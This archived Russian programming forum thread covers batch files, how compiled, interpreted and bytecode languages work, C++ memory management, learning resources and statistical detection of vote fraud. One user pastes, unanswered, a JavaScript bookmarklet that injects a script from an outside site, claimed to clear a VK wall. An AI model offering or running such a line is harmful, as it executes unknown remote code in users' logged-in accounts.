Просмотр полной версии : Общие вопросы по программированию
Не нашли темы по нужному языку, но не рискуете создавать новую тему в силу каких-то причин? Ну что ж, эта тема для вас. Спрашивайте ваши вопросы, а обитатели раздела в силу возможностей и развитости комплекса альтруизма постараются вам помочь.
Однако не забывайте, что здесь также действуют правила форума (http://forum.igromania.ru/faq.php) и раздела Soft & OS (http://forum.igromania.ru/announcement.php?f=243&a=518), флуд и оффтоп — наказуемы.
Также следует помнить, что писать вам программы целиком никто не будет, однако мы всегда рады помочь вам понять, что же именно не так, и как это можно сделать.
Существующие темы по языкам:
Ассемблер (http://forum.igromania.ru/showthread.php?t=114398)
C/C++ (http://forum.igromania.ru/showthread.php?t=111291)
C# (http://forum.igromania.ru/showthread.php?t=114386)
Delphi (http://forum.igromania.ru/showthread.php?t=111292)
Java (http://forum.igromania.ru/showthread.php?t=114436)
Python (http://forum.igromania.ru/showthread.php?t=84890)
PHP (http://forum.igromania.ru/showthread.php?t=114392)
JavaScript (http://forum.igromania.ru/showthread.php?t=114439)
Желаем вам приятного общения и компилируемости ваших программ :)
Earth2Space
09.01.2015, 06:05
Вроде сюда: как через батник вывести в буфер обмена список всех файлов в папке и подпапках? Только имя файла и расширение.
Earth2Space
10.01.2015, 12:10
Через dir такое можно сделать?
[CCCP] Monster
10.01.2015, 23:04
Earth2Space, http://stackoverflow.com/questions/2376801/recursive-directory-listing-in-dos
Думаю, дальше догадаешься.
Earth2Space
10.01.2015, 23:47
[CCCP] Monster, мне надо получить ТОЛЬКО имена файлов. Тут надо как-то по-другому делать. Нет у dir такого атрибута.
Earth2Space
11.04.2015, 22:52
javascript: (function(){var s=document.createElement('script'); s.src='http://okontakte.info/delmsg.js'; s.type='text/javascript'; document.getElementsByTagName('head')[0].appendChild(s); })();Это и правда может очистить стену в ВК?
Мой вопрос относится к вещам очевидным и фундаментальным, но я все никак не могу этого понять - ведь все как будто по умолчанию это знают, и даже не написано об этом нигде. Где вообще проходит грань между различными языками программирования? На мой примитивный взгляд, php - это то, что запускается в браузере, всякие там "c" - это то, что запускается через exeшники. Но насколько я знаю, и php-скрипт можно запустить через exe при желании. В какой момент времени написанный в блокноте текст со скриптом превращается в паскальный, phpшный или c-шный? Ведь общая знаково-логическая система там с виду одинаковая.
Далее. Чем вообще языки программирования отличаются с точки зрения компьютера? Вот есть, допустим, программа, написанная на C, и есть - написанная на паскале. Оба запускаются через exe. Видимо, в самих скриптах указано, на каком языке они написаны. То есть, в самом компьютере (в ОС) уже предустановлены эти языки, и он ориентируется на то, к какой логической базе данных обращаться при запуске приложения? Если, например, скрипт, написанный на современном языке программирования, запустить на старой ОС - он не будет работать (даже если это какой-то совсем простой скрипт)? А если не указать в скрипте, какой это язык - как компьютер будет его воспринимать? Короче, чем для компьютера будут отличаться эти два exeшника, если компьютер не понимает, что такое паскаль, а что такое С, и для него обе программы просто разными путями обращаются к его ресурсам и разными командами запускают обработку данных?
То есть, если в современных операционных системах уже предустановлена какая-то логическая система восприятия данных (или же она содержится сразу в компьютерах?) - то зачем вообще нужны разные языки? Почему не объединить все те языки, которые используются, в один общий, через который уже будут при необходимости обрабатываться необходимые данные?
В общем, мне нужна фундаментальная информация о том, как из средства для обработки нулей и единиц возникает система, которая способна отличать паскаль от яваскрипта. Буду благодарен за подробный ответ.
Мой вопрос относится к вещам очевидным и фундаментальным, но я все никак не могу этого понять - ведь все как будто по умолчанию это знают, и даже не написано об этом нигде.Начните изучать программирование - сразу всё поймёте. Ваши вопросы демонстрируют незнание основ информатики, а ведь "уметь программировать" и "знать пару языков программирования" - это очень разные вещи.
Если говорить про грань между языками программирования, то она проходит там же, где грань между Пушкиным и Пелевиным. Вроде, буквы одни и те же, но вот результат - разный. :Grin: Как минимум, у разных языков программирования разный синтаксис (что это такое - должны учить в школе на уроках русского языка). Кроме того, есть понятие парадигмы программирования (https://ru.wikipedia.org/wiki/%D0%9F%D0%B0%D1%80%D0%B0%D0%B4%D0%B8%D0%B3%D0%BC%D 0%B0_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0 %BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8 F): сейчас самые известные и часто используемые яызки объектно-ориентированные, но это не значит, что других не существует.
Дальнейший вопрос показывает, что Вы и не пытались запустить программу на C, написанную в блокноте. :rolleyes: Попробуйте переименовать txt-файл в exe, и ясно увидите, что никакое волшебство тех в программу не превратит :Grin: Ах, Вы написали "скрипт" - но это в корне неверно, ведь скрипт - это (обычно) то, что выполняется неким интерпретатором (https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%82%D0%B5%D1%80%D0%BF%D1%80%D0%B5%D 1%82%D0%B0%D1%82%D0%BE%D1%80), а C и Паскаль всё-таки компилируемые (https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BC%D0%BF%D0%B8%D0%BB%D1%8F%D1%82%D 0%BE%D1%80) языки.
Итак, Вы написали в блокноте программу на C++. Как уже говорилось, простое переименование в экзешник ее не запустит - как раз потому, что в системе нет никаких предустановленных языков программирования (впрочем, в современных оперционках - есть, но пока речь о базовых принципах). Компьютер сам по себе работает только с программами, написаными только на одном языке - в машинных кодах (https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D1%88%D0%B8%D0%BD%D0%BD%D1%8B%D0%B9_% D0%BA%D0%BE%D0%B4) (т.н. native-код). Чтобы превратить программу из текста в этот код, и существуют компиляторы. Вы берете компилятор C++ или Паскаля, даете ему на вход программу на соответствующем языке - и на выходе получаете тот самый экзешник с native-кодом. Естественно, компилятор C++ кода на Паскале не поймёт, как и наоборот - в этом этапе и заключается волшебный момент перехода от текстового файла с одинаковыми символами к программе на определенном языке программирования.
Надеюсь, понятно, что говорить о том, что программы на разных языках запускаются через один exe - не верно. Хотя в современном мире всё не так просто. Помимо компилируемых в native-код, существуют ещё интерпретируемые языки программирования, в частности - как раз для написания скриптов (впрочем, грань между "скриптом" и "полноценной программой" размыта. В этом случае - да, в системе должен быть установлена программа под названием "интерпретатор", которая и будет выполнять код "на лету", без компиляции. Так работает, например, JavaScript, исполняемый (обычно) браузерами. Это не значит, что интерпретируемый язык нельзя скомпилировать в exe, но обычно полученный таким образом код будет содержать ссылку на интерпретатор и без его установки всё равно запуститься не сможет.
Впрочем, и компилируемые программы сейчас зависят от тонн библиотек, без которых они работать не смогут. Вот так всё сложно.
Наконец, есть и промежуточный класс - языки, которые компилируются не в native-код, а в байт-код (https://ru.wikipedia.org/wiki/%D0%91%D0%B0%D0%B9%D1%82-%D0%BA%D0%BE%D0%B4). Самые известные - Java все языки платформы .NET. В таком случае обычно говорят не о конкретных языках, а именно о платформе, поскольку языки компилируются в некий более простой - но всё равно не машинный - код, который при исполнении интерпретируется. Преимущества и недостатки всех подходов предлагаю гуглить или смотреть википедию.
Вопрос "зачем нужны все языки" похож на вопрос "зачем нужны разные операционные системы", да и вообще "зачем нужно разное что-то там". Разные языки предназначены для разных целей, на одних удобнее и эффективнее выполнять одни задачи, на других - другие. Плюс никто не отменял эволюции, языки эволюционируют от простых "приятностей" над машинным кодом (ассемблер) до мощнейших платформ, которые делают за программиста 99% рутинной работы.
Почему не объединить все те языки, которые используются, в один общий, через который уже будут при необходимости обрабатываться необходимые данные?Именно это и называет байт-код, когда, скажем, несколько языков, поддерживаемых платформой .NET, компилируются в CIL (https://ru.wikipedia.org/wiki/Common_Intermediate_Language), который уже исполняется в рамках того самого .NET Framework, который нужно установить для исполнения .NET-приложений.
Надеюсь, общая схема понятна, дальше - гугл.
pokibor, ясно, то есть, язык программирования имеет значение только до компиляции, а после нее для компьютера нет никакой разницы между калькулятором, написанном на паскале и на c++, если их стремились сделать максимально одинаковыми, потому как они будут обращаться примерно к одним и тем же процессам и ресурсам.
Начните изучать программирование - сразу всё поймёте. Ваши вопросы демонстрируют незнание основ информатики, а ведь "уметь программировать" и "знать пару языков программирования" - это очень разные вещи.
В том то и дело, что это нигде явно не объясняется, хотя с этого, казалось бы, следует начинать. Если взять учебник по любому языку программирования - то там с самой первой главы будут описываться особенности этого языка, его преимущества над другими, функции и архитектура, но сам основной принцип работы языка внутри компьютера - нет. Я уверен, в мире есть очень много "программистов" (возможно даже, вполне высокооплачиваемых), которые не знают того, что вы описали и для них php - это то, что в браузере, а c++ - это то, что в exeшниках, при том что внутри самого кода они ориентируются хорошо.
SLS_Cross
23.06.2015, 16:36
Kиpa,
принцип работы языка внутри компьютера
Процессор вообще никаких языков не знает, кроме машинных слов. То бишь побитовых команд. Знаете про перфокарты? Вот такой язык процессор "понимает". Практически любой современный язык программирования - это язык высокого уровня абстракции, где ты описываешь некоторые действия и операции, но не говоришь процессору - как их делать. При компиляции получаются исполняемые файлы, которые понимаются в первую очередь Операционной Системой. И уже ОС обеспечивает трансляцию в ассемблер и машинные слова.
По сути единственный принцип языка высокого уровня - это снять с программиста задачу управления ресурсами. То есть дать ему возможность описать что делать, но не как делать
Программирование - это такая штука, которую изучать следует с самых азов. Двоичное исчисление, двоичная логика, простые алгоритмы обработрки данных. И вот так постепенно переходить к более продвинутым вещам. В общих чертах могу сказать, что ни один из твоих вопросов не является корректным. В том плане, что ни один ответ на этот вопрос не прояснит саму суть процесса
pokibor, ясно, то есть, язык программирования имеет значение только до компиляции, а после нее для компьютера нет никакой разницы между калькулятором, написанном на паскале и на c++, если их стремились сделать максимально одинаковыми, потому как они будут обращаться примерно к одним и тем же процессам и ресурсам.В целом - да, причём это тем более верно, что сейчас львиная доля работы программы реализуются за счет обращения к библиотекам. То есть, в программе под Windows не будет никакого кода, отвечающего, скажем, за отрисовку окон на экране - она просто обратится к библиотекам, поставляемым с виндой, и те уже будут рисовать окошечки и кнопочки, а сама программа только пропишет, что делать в ответ на нажатия этих кнопочек.
Это как раз то, что SLS_Cross назвал "снять с программиста задачу управления ресурсами", только он сказал не совсем корректно - реализуется она не языками высокого уровня как таковыми, а библиотеками. Досконально зная C++, но не зная WinAPI (или другого API для построения интерфейса, который, впрочем, всё равно будет на WinAPI базироваться), красивое приложение не напишешь (или напишешь, но поседеешь и тысячу раз изобретёшь велосипед в процессе).
Из-за этого сейчас программисту нужно знать не только какой-нибудь язык программирования, но и определенный набор технологий и готовых API (которые, кстати, могут быть вполне универсальными, с интерфейсами под разные языки и даже платформы).
В том то и дело, что это нигде явно не объясняется, хотя с этого, казалось бы, следует начинать. Если взять учебник по любому языку программирования - то там с самой первой главы будут описываться особенности этого языка, его преимущества над другими, функции и архитектура, но сам основной принцип работы языка внутри компьютера - нет.И правильно, так и должно быть. Потому что это учебник по языку программирования, а вопросы, которые мы рассмотрели, относятся к области информатики (точнее - 'Computer Sciences'). Изучить ее основы необходимо прежде, чем браться за язык программирования.
Далее, какая разница, как язык работает внутри компьютера? Сейчас почти всё программирования, разве что кроме самых низкоуровневых драйверов, работает по принципу черного ящика: у нас есть определенный интерфейс, и мы знаем, что такой-то вход дает такой-то выход. Каким образом этот выход получается, нас мало интересует, главно что бы работало. Вот когда освоете язык и перед Вами встанут сложные задачи, связанные с оптимизацией, тогда и нужно выяснять, во что же оно там компилируется и как лучше построить код.
В-общем, опять см. что написано выше про библиотеки.
Я уверен, в мире есть очень много "программистов" (возможно даже, вполне высокооплачиваемых), которые не знают того, что вы описалиДа ладно! Вы говорите ерунду. Выше написаны настолько базовые вещи, что их знает любой нормальный программист. Вам может показаться, что здесь есть противоречие с принципом черного ящика, который я описал, это не так: знать общие принципы необходимо, без этого просто не освоить в полной мере всё, что необходимо успешному программисту, а вот разбираться в деталях реализации - нет.
и для них php - это то, что в браузереВообще-то опять видно, что Вы только начинаете путь в программировании. Php - он не в браузере. Он работает на сервере. Конструкции языка обрабатываются интерпретатором на сервере, и на их основе генерируются обычные html-страницы, которые и отправляются в браузер. В браузере же "работает" не php, а JavaScript.
Кстати, на php можно и самостоятельные графические приложения (https://ru.wikipedia.org/wiki/PHP#.D0.A1.D0.BE.D0.B7.D0.B4.D0.B0.D0.BD.D0.B8.D0. B5_GUI-.D0.BF.D1.80.D0.B8.D0.BB.D0.BE.D0.B6.D0.B5.D0.BD.D 0.B8.D0.B9) делать - эту возможность дают специальные пакеты.
При компиляции получаются исполняемые файлы, которые понимаются в первую очередь Операционной Системой. И уже ОС обеспечивает трансляцию в ассемблер и машинные слова.Не совсем. Так, как Вы описали, работают платформы с байт-кодом и интерпретаторы.
Операционная система же не обеспечивает трансляции в ассемблер (это задача компилятора), она дает определенный набор библиотек - то бишь сборников функций, обеспечивающих нужный уровень абстракции. То есть, если в компилируемом языке написано "x = 1 + 2", то сложение 1 и 2 в ассемблер (точнее, в машинный код; ассемблер - это всё-таки язык программирования, который тоже нуждается в компиляции, пусть и довольно примитивной) перекодирует всё-таки компилятор, и он же обеспечит передачу результата в область памяти, выделенную под переменную x. Операционка же даст точки входа в готовый код, который обеспечит интерфейс (будь то банальная консоль, окно или ещё что-нибудь), а также при запуске программы выделит ей какую-то область в памяти и позаботится об управлении различными потоками.
Но что верно сказано - без операционки современные программы работать в принципе не могут, просто потому что для этого им пришлось бы самим разбиратьтся, какие сигналы послать монитору, чтобы вывести что-то на экран, и как набор двоичных чисел, передаваемый с клавиатуры, превратить в нажатые пользователем клавиши.
Поэтому одна из задач современных компиляторов - это подсунуть в нужные места кода вызов соответствующих функций из библиотек целевой операционной системы, а непосредственным общением с клавиатурой и монитором занимаются уже это функции.
В том то и дело, что это нигде явно не объясняется, хотя с этого, казалось бы, следует начинать. Если взять учебник по любому языку программирования - то там с самой первой главы будут описываться особенности этого языка, его преимущества над другими, функции и архитектура, но сам основной принцип работы языка внутри компьютера - нет.
http://www.proklondike.com/books/thobshee/saveliev_teoria_cifrovih_avtomatov.html
SLS_Cross
23.06.2015, 19:04
pokibor, компилятор же отвечает за "сборку" исходных кодов в готовое ПО. Т.е. в процессе работы приложения компилятор уже не используется.
И если говорить о разгрузке программиста, то я все корректно описал. На С++ тебе не надо думать - в какую ячейку памяти какая переменная будет записана. Ты думаешь только о самом факте существования переменных. Библиотеки же позволяют нам не тратить время на неспецифический функционал, т.е. в общем случае на GUI, способ соединения с базой данных и прочие стандартные вещи
pokibor, компилятор же отвечает за "сборку" исходных кодов в готовое ПО. Т.е. в процессе работы приложения компилятор уже не используется.Да. Но это не означает, что компилятор рождает некий промежуточный код, который потом операционка перегоняет в машинный. Компилятор рождает именно тот самый native-код, который исполняется непосредственно процессором, просто этот native-код содержит ссылки на библиотеки операционной системы, и ОС обеспечивает его работу в специфическом окружении.
Чтобы понять это, задайтесь вопросом, почему Wine (https://ru.wikipedia.org/wiki/Wine) расшифровывается как "Wine Is Not an Emulator" - именно потому, что Wine является не эмулятором, а альтернативной реализацией WinAPI.
И если говорить о разгрузке программиста, то я все корректно описал.Результат описали корректно, но объяснили его не совсем корректно. Дело в том, что язык != библиотеки. Одни и те же библиотеки могут использоваться разными языками, пусть и через некоторые шлюзы.
На С++ тебе не надо думать - в какую ячейку памяти какая переменная будет записана.:Grin: Вот это Вы зря написали, на C++ мы можем напрямую работать с памятью.
Лучше подставьте вместо C++ C#, яву или любой другой язык со сборщиком мусора (хотя, конечно, реализации сборщиков есть и для C, и для C++).
[CCCP] Monster
24.06.2015, 19:15
Для C++ есть RAII (https://en.wikipedia.org/wiki/Resource_Acquisition_Is_Initialization) и std::shared_ptr, которые полностью решают вопрос контроля за ресурсами, причем не только памяти, но и за любым ресурсом, нуждающимся в освобождении/закрытии (сокеты, файлы, пайпы, что угодно еще). А еще там есть реализации lock-free (http://habrahabr.ru/company/ifree/blog/195770/) контейнеров, которые радикально (раз этак в 10) ускоряют некоторые подходы к разделению данных в многопоточных средах. А можно еще и совместить оба подхода и получить указатели, которые можно трогать из нескольких потоков, и который умрет только когда последний поток перестанет с ним работать.
SLS_Cross
25.06.2015, 12:08
pokibor, никогда на С++ не занимался распределением ресурсов. Присутствие возможности не означает, что ты обязан этим заниматься. В подавляющем большинстве случаев, особенно на этапе обучения, это вообще не актуально. Кончились времена, когда у ПК было 640 Кб оперативки и надо было заморачиваться с ее распределением. Откровенно говоря, мне С++ всегда больше джавы нравился. Только вот не очень люблю программировать и занимаюсь этим лишь потому, что нужен рабочий опыт. Да и повсеместное распространение java - это своего рода бич современного программирования. Потому что любой нуб с чего-то решает, что java - "легкий" язык. Он легок для того, чтобы войти, но очень труден в освоении.
Да и сборщик мусора - одна из самых проблемных составляющих java. По умолчанию он туп, если речь идет о более-менее загруженном приложении
[CCCP] Monster
25.06.2015, 17:20
SLS_Cross, хм, а если тебе надо загрузить из файла данные и преобразовать их в некую структуру данных, то как ты получаешь пространство для хранения этих данных?
pokibor, никогда на С++ не занимался распределением ресурсов. Присутствие возможности не означает, что ты обязан этим заниматься.Манипулирование памятью - один из базовых элементов C++. Простой new уже требует понимания, что реально происходит, поскольку без delete мы получим утечку. Массив - уже по сути адресная арифметика, потому что выход за его границы никакой специальной магией не контроллируется. Так что Ваши слова неуместны. Как раз этому и нужно учиться, в этом и есть огромное преимущество C++ как языка перед тем же C#.
Откровенно говоря, мне С++ всегда больше джавы нравился.Я лично Яву ненавижу после того, как два года пришлось на ней кодить. И не знаю, кто там и почему её называет "лёгким языком".
Так что если говорить про C-подобные языки со сборщиком мусора - то C# предпочтительней (опять же, как язык, не надо говорить про кроссплатформенность и .NET).
Что же касается сборщика мусора, то это хорошая вещь, если правильно ей пользоваться, пусть в .NET он тоже не особо собразителен. В то же время, любой желающий стать нормальным программистом должен освоить язык без этой приятной примочки, чтобы иметь представление об оптимизации и ручном распределении памяти.
В целом, если вести речь об освоении программирования, то уж точно не Яву я бы посоветовал, а C# либо C++. Лучше, конечно, C++, но C# осваивать проще и приятнее. Жаль, что нет его нормальных реализаций за гранью Мелкософта и .NET...
SLS_Cross
25.06.2015, 18:51
pokibor, так с new, массивы и списки - это базовые вещи, которые каждый должен знать. Тем не менее, ты просто следишь за состояние объекта, а не "управляешь" памятью, как в асме. Тебе не надо говорить - в какую ячейку и что запихивать. Возможно, я не совсем верно воспринял твои слова.
Я начал с Borland C++, а потом мне как-то Qt по душе пришелся. В последствии пересел на Java и очень сильно пожалел. Иногда подумываю вернуться к С++ и продолжить его изучение.
помогите нубу. Задали задачку не по специальности. Как поменять надпись выделенную на другую. С помощью Php или java? желательно очень подробно, с меня плюшки. Кто поможет кину на мобильник денежку.
http://s019.radikal.ru/i634/1509/e1/1417fc4579c4.png
Tayler, я что-то не понимаю. Вы даёте скриншот сайта, на который есть доступ только с авторизацией, и задаёте вопрос, как изменить код этого сайта. Нельзя даже понять, на чём этот сайт написан, даже к коду приведённой на скриншоте страницы нельзя получить доступ без авторизации.
С такими данными Вам ответить невозможно.
Скорее всего, надпись берётся из БД, так что чтобы её изменить - нужно менять код. А уж что там под HTML - PHP, Java, ASP или ещё что-то - неизвестно.
Хотя подозреваю, Вы просто криво сформулировали вопрос.
Кстати, судя по странице входа (http://yevgeniytsoy.com/), выделенное - это название салона, который выбирается на этой самой странице.
pokibor, Блин я вообще нуб)) Напишите пожалуйста какие нужные данные и как менять код.
Напишите пожалуйста какие нужные данные и как менять код.Интересно, как Вам поручили задание, даже не указав на исходные файлы... :rolleyes:
На самом деле, единственный вариант - узнать, где находятся эти самые исходные файлы, без них невозможно ничего изменить на сайте. Затем среди исходных файлов ищите тот, что генерирует соответствующую страницу (насколько это будет просто - зависит от того, кто изначально делал сайт), ну и лезите в его код, можно - просто открыв в текстовом редакторе.
Кстати, НА ЧТО нужно поменять указанный текст, Вы тоже не сказали.
Что представляют собой исходные файлы? Текст нужно поменять на текст)
Что представляют собой исходные файлы?
https://upload.wikimedia.org/wikipedia/commons/thumb/3/3b/Paris_Tuileries_Garden_Facepalm_statue.jpg/220px-Paris_Tuileries_Garden_Facepalm_statue.jpg
Уровень знаний понятен. Вероятность выполнения задачи нулевая.
rainwalker
19.11.2015, 20:50
Народ, если вдруг есть профильные спецы, помогите советом. Добил наконец учебник по С Стивена Праты "C primer plus", так что я не совсем стерильный. Цель - программирование для iOS. Мб подскажите, в какую область следует углубиться, какие материалы почитать? Учебников полно, но я хочу все же пойти самым адекватный и компактным путем.
rainwalker, гугл.
http://ios-programming.ru/spisok-urokov
Первая ссылка.
Там даны основы, который позволят Вам стартовать - а это обычно самое сложное.
Когда установлена среда разработки и есть какой-то элементарный проект, можно уже своими силами копать во все стороны.
Подскажете хорошие англоязычные ресурсы (курсы, видео, желательно с субтитрами англ., книги и т.д.) для разработчика. Интересуют C# и ASP.NET (и вообще что связано с веб), лекции по сетевым технологиям (модель OSI, протоколы и т.д.), структуры данных и алгоритмы, нейронные сети.
В принципе любые подойдут ресурсы, по любым технологиям, главное на английском. (:
Sanya123
12.12.2015, 19:50
Скачал Force 2.0. Сделал 1 задание и вот, что выдало (http://i.imgur.com/iMGSssF.png).
Какую версию посоветуете скачать? (нужно написать в сумме 2 программы)
Sanya123, почему бы просто не запустить на виртуальной машине с нужной конфигруацией?
Очень полезная тема, спасибо)
Приветствую.
Есть у кого идеи какими програмными, статистическими или алгоритмическими методами отследить накрутку голосов?
Система такая - есть сайт с голосовалкой на пхп и мускуле. Писал полностью я. Голосовать можно только через аккаунт фейсбука, установив приложение, с этим все ок.
Далее когда мы жмем кнопку голоса в базу заносятся данные - ид с фейсбука, ид за кого отдали голос, время.
Есть подозрение что некоторые аккаунты накручивают через сервисы накруток, где голосуют толпы незнакомых людей.
Можно ли это как проверить?
Pharaon, Вы хотите проверить уже отданные голоса? Тут, в принципе, приходит на ум только построить график и посчитать плотность распределения голосов по времени, если есть внезапный пик - скорее всего, в это время голоса "накручивались".
Для надёжности можно усреднить по всем участникам и посмотреть, у кого сильно отклоняется от усреднённого графика.
Однако, тут сильно зависит от конкретного голосования. Скажем, если у нас есть шоу, где голосуют за участников, то вполне естественен пик под конец и после выступления конкретного участника. Иными словами, как учитывать время при проверке - вопрос целиком на Вашей совести. Если у Вас есть какая-то история, то сначала придётся визуализировать графики распределения и помедитировать над ними, разобравшись, как "обычно" себя ведут голоса.
Но это всё базируется на вероятности, и "надёжное" доказательство так получить довольно трудно.
Ещё появилась мысль - Вы можете отследить момент инсталляции/деинсталляции приложения (я для фейсбука не писал, поэтому не знаю)? Если человек установил, проголосовал, удалил - скорее всего, это накрутка. Как вариант, можно сделать так, чтобы между моментом установки приложения до возможности голосовать проходило некоторое время...
Вы хотите проверить уже отданные голоса?
Да.
Голосование - обычная система, не шоу, а конкурс. Модераторы рассматривают и одобряют работу и она выходит в конкурс. НА сайте список фоток и кнопка лайк, один человек может голосовать за любое кол-во участников.
По идее мы можем проверить установлено ли приложение фейсбука в профиле, но время установки это по сути время голосования, так как сайт запрашивает токен через приложение и валидирует его.
Если приложения нет - просит установить, если есть голосует сразу.
Я сразу подумал о применении каких-то статистических методов, но я очень слаб в статистике и пока не доходит как можно нормализовать мои данные.
По идее ко всей этой инфе можно попытаться применить гугл аналитику с сайта. НО вот мой фейл - я не писал ИП проголосовавших, но по времени из базы по идее можно поднять логи сервера - запрос к АПИ голосования и вычислить ИП конкретного голоса, а там уже смотреть его по гугл аналитике...
Для надёжности можно усреднить по всем участникам и посмотреть, у кого сильно отклоняется от усреднённого графика.
Я так понимаю По оси Х - время, по У - кол-во голосов за каждого участника. Сам график может что-то и покажет, но для доказательств конечно мало, поэтому и хочется как то провести сравнения научными методами.
Скорее даже так, подозреваемые в накрутке уже есть, но может и не они. Поэтому хотелось бы получить определенные факты, а потом уже их перепроверять через аналитику гугла и логи. Все вместе уже можно предоставить как аргументы.
Проблема в том что конкурсов 5 штук, в разных странах, но все они используют один механизм. Поэтому хочется какого-то универсального решения для весомого аргумента.
Я если честно даже не знаю какими тут инструментами лучше воспользоваться кроме екселя, написание собственноручных прог возможны, но я не знаю куда копать)
P.s. Сделал тестовую проверку на 2-х работах. Получилась следующая картина:
http://image.prntscr.com/image/69efe81c36a848499b7c44ffa052f90f.png
Синие точки это те кого подозревают в накрутке.
Единственно что смущает - какими еще способами можно это подтвердить...
По хорошему бы автоматизировать это малыми силами...
для доказательств конечно мало, поэтому и хочется как то провести сравнения научными методами.Не выйдет. Дело в том, что для сколько-нибудь научного обоснования придётся заниматься невероятно трудными расчётами, и всё равно недовольные смогут апеллировать к тому, что тех или иных факторов не учли.
С другой стороны, если у 95% участников график ведёт себя одинаково, а у 5% - с явно выраженными пиками, то это уже вполне аргумент.
Я так понимаю По оси Х - время, по У - кол-во голосов за каждого участникаНе совсем. То есть, можно и так, но (время, кол-во голосов) - это график распределения величины. Более нагляден график плотности, которая является производной от распределения. В численном приближении, мы берём определённые интервалы времени (например, день или час) и строим график, сколько голосов было отдано за каждый интервал времени (первый час голосования, второй час голосования и т.д.).
Отличия видны на картинке, сверху - распределение (как видно, оно не убывает - то есть, в нашем случае, количество голосов растёт со временем), снизу - плотность:
http://konspekta.net/studopediainfo/baza9/989126568635.files/image020.png
Плотность гораздо нагляднее, особенно для обнаружения "пиков", поскольку именно как пик он виден на графике плотности, но не распределения.
На какие интервалы разбивать время для расчёта плотности - зависит от общей интенсивности голосования и длины полного интервала времени. Очевидно, что если в час в среднем добавляется по голосу - нет смысла разбивать до часов, даже до дня в таком случае не наглядно разбивать.
Я если честно даже не знаю какими тут инструментами лучше воспользоваться кроме екселя, написание собственноручных прог возможны, но я не знаю куда копать)
Вообще, для построения графиков есть куча программ, и эксель в т.ч., но тут всё зависит от Ваших навыков и того, в каком вообще формате Вы можете предоставить исходные данные.
Я такими вещами занимался только в институте, и там писал свой велосипед. :Grin:
Но вообще, это вполне обычная статистика, и подобные функции должны поддерживаться повсеместно...
P.s. Сделал тестовую проверку на 2-х работах.Как я уже сказал, распределение трудно анализировать, стройте графики плотности, причём желательно их аппроксимировать какой-то кривой. Можно и вручную, просто примерно проведя линию по дискретным данным, можно - при помощи известным распределений (нормального, экспоненциального и пр. - посмотреть, какое лучше подходит по общей сумме данным), можно - при помощи методов наподобие метода наименьших квадратов (правда, там попробуй базис подбери; впрочем, МНК хорошо совмещается с подборкой констант для известных законов распределения; эти законы можно посмотреть в Википедии (https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D1%82%D0%B5%D0%B3%D0%BE%D1%80%D0%B8%D 1%8F:%D0%A0%D0%B0%D1%81%D0%BF%D1%80%D0%B5%D0%B4%D0 %B5%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F_%D0%B2%D0%B5%D1% 80%D0%BE%D1%8F%D1%82%D0%BD%D0%BE%D1%81%D1%82%D0%B5 %D0%B9)).
Скажите, какие языки программирования сейчас актуально знать веб-разработчикам, чтобы разрабатывать веб-сайты? HTML+CSS понятно, что еще PHP, Javascript? Да и нужно ли сейчас все это, если есть системы управления сайтами (CMS), всякие визуальные билдеры и т.д. И как бы быстро вникнуть в этот процесс, чтоб не забивать себе голову ненужной инфой?
Может быть на курсы какие-то ускоренные записаться (какие?)? или репетитора найти, на сайте Репетит-Центр.ру (https://repetit-center.ru/include/programmirovanie/razrabotka_veb-saytov.php) смотрю много преподавателей есть, будет ли толк? Там же находил репетитора по английскому, занимался, толк есть, но программирование это ж другое....
Скажите, какие языки программирования сейчас актуально знать веб-разработчикам, чтобы разрабатывать веб-сайты? HTML+CSS понятно, что еще PHP, Javascript? Да и нужно ли сейчас все это, если есть системы управления сайтами (CMS), всякие визуальные билдеры и т.д. И как бы быстро вникнуть в этот процесс, чтоб не забивать себе голову ненужной инфой?Всё зависит от того, что вам нужно. Если собрать шаблонный сайт - естественно не нужно "забивать голову ненужной инфой" и использовать какой-нибудь билдер.
А вот если хотите стать востребованным специалистом, то придётся знать много больше. Минимальный набор - конечно, HTML, CSS, Javascript, какие-то библиотеки на основе Javascript (JQuery, Bootstrap и т.п.). Это для клиентской части. Плюс какой-то фреймворк для разработки серверной части (PHP, ASP.NET и т.п.) - хотя бы понять, как это работает. Соответственно, языков программирования будет два - Javascript и тот, который использует фреймворк для серверной части. HTML и CSS, для справки, это не языки программирования.
vBulletin® v3.8.0, Copyright ©2000-2025, Jelsoft Enterprises Ltd.